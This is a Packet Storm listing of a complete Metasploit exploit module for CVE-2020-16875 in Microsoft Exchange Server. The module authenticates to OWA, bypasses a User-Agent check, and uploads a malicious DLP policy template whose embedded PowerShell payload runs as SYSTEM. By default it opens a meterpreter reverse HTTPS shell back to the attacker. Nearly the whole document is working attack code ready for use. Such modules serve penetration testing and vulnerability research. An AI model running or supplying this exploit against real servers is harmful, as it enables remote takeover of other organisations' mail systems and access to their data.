Lucene search

K
packetstormMr_mePACKETSTORM:159210
HistorySep 17, 2020 - 12:00 a.m.

Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution

2020-09-1700:00:00
mr_me
packetstormsecurity.com
755
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',  
'Description' => %q{  
This vulnerability allows remote attackers to execute arbitrary code  
on affected installations of Exchange Server. Authentication is  
required to exploit this vulnerability. Additionally, the target user  
must have the "Data Loss Prevention" role assigned and an active  
mailbox.  
  
If the user is in the "Compliance Management" or greater "Organization  
Management" role groups, then they have the "Data Loss Prevention"  
role. Since the user who installed Exchange is in the "Organization  
Management" role group, they transitively have the "Data Loss  
Prevention" role.  
  
The specific flaw exists within the processing of the New-DlpPolicy  
cmdlet. The issue results from the lack of proper validation of  
user-supplied template data when creating a DLP policy. An attacker  
can leverage this vulnerability to execute code in the context of  
SYSTEM.  
  
Tested against Exchange Server 2016 CU14 on Windows Server 2016.  
},  
'Author' => [  
'mr_me', # Discovery, exploits, and most of the words above  
'wvu' # Module  
],  
'References' => [  
['CVE', '2020-16875'],  
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],  
['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],  
['URL', 'https://srcincite.io/advisories/src-2020-0019/'],  
['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'],  
['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt']  
],  
'DisclosureDate' => '2020-09-08', # Public disclosure  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
['Exchange Server 2016 and 2019 w/o KB4577352', {}]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SSL' => true,  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',  
'HttpClientTimeout' => 5,  
'WfsDelay' => 10  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
IOC_IN_LOGS,  
ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session  
CONFIG_CHANGES, # Creates a new DLP policy  
ARTIFACTS_ON_DISK # Uses a DLP policy template file  
]  
}  
)  
)  
  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('USERNAME', [false, 'OWA username']),  
OptString.new('PASSWORD', [false, 'OWA password'])  
])  
end  
  
def post_auth?  
true  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
unless res.code == 200 && res.body.include?('<title>Outlook</title>')  
return CheckCode::Unknown('Target does not appear to be running OWA.')  
end  
  
CheckCode::Detected("OWA is running at #{full_uri('/owa/')}")  
end  
  
def exploit  
owa_login  
create_dlp_policy(retrieve_viewstate)  
end  
  
def owa_login  
unless username && password  
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')  
end  
  
print_status("Logging in to OWA with creds #{username}:#{password}")  
  
res = send_request_cgi!({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),  
'vars_post' => {  
'username' => username,  
'password' => password,  
'flags' => '',  
'destination' => full_uri('/owa/', vhost_uri: true)  
},  
'keep_cookies' => true  
}, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to access OWA login page')  
end  
  
unless res.code == 200 && cookie_jar.grep(/^cadata/).any?  
if res.body.include?('There are too many active sessions connected to this mailbox.')  
fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')  
end  
  
fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')  
end  
  
if res.body.include?('Choose your preferred display language and home time zone below.')  
fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')  
end  
  
print_good('Successfully logged in to OWA')  
end  
  
def retrieve_viewstate  
print_status('Retrieving ViewState from DLP policy creation page')  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),  
'agent' => '', # HACK: Bypass Exchange's User-Agent validation  
'keep_cookies' => true  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')  
end  
  
unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')  
end  
  
print_good('Successfully retrieved ViewState')  
viewstate  
end  
  
def create_dlp_policy(viewstate)  
print_status('Creating custom DLP policy from malicious template')  
vprint_status("DLP policy name: #{dlp_policy_name}")  
  
form_data = Rex::MIME::Message.new  
form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')  
form_data.add_part(  
'ResultPanePlaceHolder_ButtonsPanel_btnNext',  
nil,  
nil,  
'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'  
)  
form_data.add_part(  
dlp_policy_name,  
nil,  
nil,  
'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'  
)  
form_data.add_part(  
dlp_policy_template,  
'text/xml',  
nil,  
%(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}")  
)  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),  
'agent' => '', # HACK: Bypass Exchange's User-Agent validation  
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",  
'data' => form_data.to_s  
}, 0)  
end  
  
def dlp_policy_template  
# https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help  
<<~XML  
<?xml version="1.0" encoding="UTF-8"?>  
<dlpPolicyTemplates>  
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">  
<contentVersion>4</contentVersion>  
<publisherName>Metasploit</publisherName>  
<name>  
<localizedString lang="en">#{dlp_policy_name}</localizedString>  
</name>  
<description>  
<localizedString lang="en">wvu was here</localizedString>  
</description>  
<keywords></keywords>  
<ruleParameters></ruleParameters>  
<policyCommands>  
<commandBlock>  
<![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]>  
</commandBlock>  
</policyCommands>  
<policyCommandsResources></policyCommandsResources>  
</dlpPolicyTemplate>  
</dlpPolicyTemplates>  
XML  
end  
  
def dlp_policy_name  
@dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data"  
end  
  
def dlp_policy_filename  
@dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"  
end  
  
end  
`